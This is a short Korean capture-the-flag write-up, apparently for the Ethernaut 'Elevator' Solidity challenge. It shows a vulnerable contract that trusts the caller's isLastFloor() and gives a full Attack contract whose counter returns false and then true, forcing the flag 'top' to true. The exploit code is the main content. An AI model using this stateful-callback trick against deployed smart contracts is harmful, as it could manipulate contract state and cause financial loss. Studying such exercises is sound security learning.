엘리베이터를 꼭데기로 이동시켜라(top = true로 변경시켜라)
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
isLastFloor() 함수는 interface만 정의되어 있고 구현체가 없는 함수이다
이를 이용하여 Attack 코드 내부에서 해당 함수를 내가 원하는 대로 구현 후 goTo() 함수를 실행시키면 된다.
top = true 상태로 만들려면 isLastFloor() 함수가 첫 번쨰 호출에는 false, 두번째 호출에는 true가 나오도록 함수를 구현하면됨
pragma solidity ^0.8.0;
import "./Elevator.sol";
contract Attack {
Elevator public instance;
uint public count;
constructor(address _elevator) {
instance = Elevator(_elevator);
count = 0;
}
function attack() public {
instance.goTo(807); // 아무 값이나 상관 x, 807 내 생일임 기억 ㄱㄱ
}
function isLastFloor(uint) external returns (bool) {
count++;
return count > 1;
}
}
코드 설명 필요없죠잉잉ㅇ??